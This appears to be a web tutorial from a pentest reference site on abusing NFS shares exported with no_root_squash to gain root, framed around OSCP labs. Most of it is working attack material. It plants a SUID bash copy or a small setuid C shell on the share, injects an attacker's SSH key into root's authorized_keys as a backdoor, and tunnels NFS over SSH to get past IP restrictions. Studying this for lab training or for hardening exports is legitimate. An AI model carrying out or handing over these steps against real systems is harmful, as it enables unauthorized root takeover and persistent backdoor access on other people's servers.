Skip to content
HackIndex logo

HackIndex

NFS no_root_squash Abuse – SUID Shell and SSH Key Injection

4 min read May 15, 2026

When an NFS share is exported with no_root_squash, the server trusts root on the client as root on the server. Any file you write as root on your attack box lands on the share with root ownership. Set the SUID bit on a binary before copying it and any local user on the target can execute it as root.

This is one of the most reliable privilege escalation paths in OSCP labs. You typically discover it from a low-privilege shell on the target by reading /etc/exports, then mount the share from your attack box as root to plant the payload.

Confirming no_root_squash

From a low-privilege shell on the target, read the exports file:

user@host ~ $ cat /etc/exports

Look for no_root_squash on any exported path:

user@host ~ $ /home *(rw,sync,no_root_squash,no_subtree_check)
user@host ~ $ /tmp *(rw,sync,no_root_squash,no_subtree_check)

Any share with no_root_squash is exploitable. Also confirm the share is accessible from your attack box:

user@host ~ $ showmount -e $TARGET_IP

Method 1 – SUID bash

The fastest path. Copy /bin/bash to the share as root and set the SUID bit. The local user on the target then runs it with -p to spawn a root shell.

On your attack box as root:

user@host ~ $ sudo mkdir /mnt/nfs
user@host ~ $ sudo mount -t nfs $TARGET_IP:/$SHARE /mnt/nfs -o nolock
user@host ~ $ sudo cp /bin/bash /mnt/nfs/
user@host ~ $ sudo chmod +s /mnt/nfs/bash

Verify root ownership and SUID bit:

user@host ~ $ ls -la /mnt/nfs/bash
user@host ~ $ -rwsr-sr-x 1 root root 1234376 Jan 10 10:00 /mnt/nfs/bash

On the target from your low-privilege shell, execute it:

user@host ~ $ /path/to/share/bash -p
bash-5.1# whoami
root

-p preserves the SUID effective UID. You get a root shell.

Method 2 – SUID C Payload

If the target's bash binary is patched to drop SUID privileges regardless of -p (common on hardened systems), compile a C binary that sets UID to 0 and spawns a shell:

On your attack box:

/tmp/suid_shell.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
┌──(kali㉿kali)-[~]
└─$ gcc /tmp/suid_shell.c -o /tmp/suid_shell
┌──(kali㉿kali)-[~]
└─$ sudo cp /tmp/suid_shell /mnt/nfs/
┌──(kali㉿kali)-[~]
└─$ sudo chmod +xs /mnt/nfs/suid_shell
┌──(kali㉿kali)-[~]
└─$ sudo chown root:root /mnt/nfs/suid_shell

On the target:

user@host ~ $ /path/to/share/suid_shell

Root shell without relying on bash SUID behaviour.

Method 3 – SSH Key Injection

If the root home directory is exported with no_root_squash, write your public key directly to /root/.ssh/authorized_keys:

On your attack box:

┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs $TARGET_IP:/root /mnt/nfs -o nolock
┌──(kali㉿kali)-[~]
└─$ sudo mkdir -p /mnt/nfs/.ssh
┌──(kali㉿kali)-[~]
└─$ sudo bash -c "cat ~/.ssh/id_rsa.pub >> /mnt/nfs/.ssh/authorized_keys"
┌──(kali㉿kali)-[~]
└─$ sudo chmod 700 /mnt/nfs/.ssh
┌──(kali㉿kali)-[~]
└─$ sudo chmod 600 /mnt/nfs/.ssh/authorized_keys

Then SSH directly as root:

┌──(kali㉿kali)-[~]
└─$ ssh root@$TARGET_IP

If you do not have an SSH key pair yet, generate one first:

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t ed25519 -f ~/.ssh/backdoor -N ""

When the Share Is IP-Restricted

If /etc/exports restricts the share to a specific IP (e.g. 127.0.0.1 or the target's own subnet), you cannot mount it directly from your attack box. Use SSH port forwarding to tunnel NFS through your existing low-privilege shell:

Forward the NFS port locally:

user@host ~ $ ssh -L 2049:127.0.0.1:2049 $USER@$TARGET_IP

Mount via the forwarded port on your attack box:

┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs -o port=2049,nolock,vers=3 127.0.0.1:/$SHARE /mnt/nfs

Then proceed with the SUID bash or C payload method as normal. Because the connection appears to originate from 127.0.0.1 on the server side, the IP restriction is satisfied.

Verifying Architecture Before Compiling

If you are compiling a C payload, match the target architecture. Check from your low-privilege shell:

user@host ~ $ uname -m
user@host ~ $ file /bin/bash

Compile for 32-bit if needed:

user@host ~ $ gcc -m32 /tmp/suid_shell.c -o /tmp/suid_shell

To confirm no_root_squash before exploiting, see NFS no_root_squash Detection.

References